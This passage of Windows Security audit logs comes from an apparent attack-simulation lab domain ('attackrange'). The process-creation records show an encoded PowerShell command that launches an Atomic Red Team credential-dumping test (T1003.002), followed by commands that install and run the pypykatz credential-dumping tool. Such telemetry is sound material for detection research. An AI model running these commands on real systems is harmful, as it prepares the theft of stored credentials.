	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257808
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8925.tmp" "c:\Users\Administrator\AppData\Local\Temp\ikzxm24e\CSCFB3DC79DDE67425086B0C5E075D2933B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257807
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\ikzxm24e\ikzxm24e.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257806
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Windows\System32\whoami.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\whoami.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257805
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Windows\System32\HOSTNAME.EXE
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\HOSTNAME.EXE"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257804
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ac
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257803
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5543C3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257802
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5543C3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7E5FED45-AB92-C331-61D0-86750AC9F072}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257801
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7E5FED45-AB92-C331-61D0-86750AC9F072}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257800
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7E5FED45-AB92-C331-61D0-86750AC9F072}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257799
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257810
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (pip3 -V) {exit 0} else {exit 1}} 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257809
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (python --version) {exit 0} else {exit 1}} 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257815
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa98
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c pypykatz -h

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257814
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257813
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x640
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {pip3 install pypykatz} 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257812
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa24
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c pypykatz -h

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257811
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ac
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257840
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x85c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc88
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257839
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257838
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257837
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257836
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
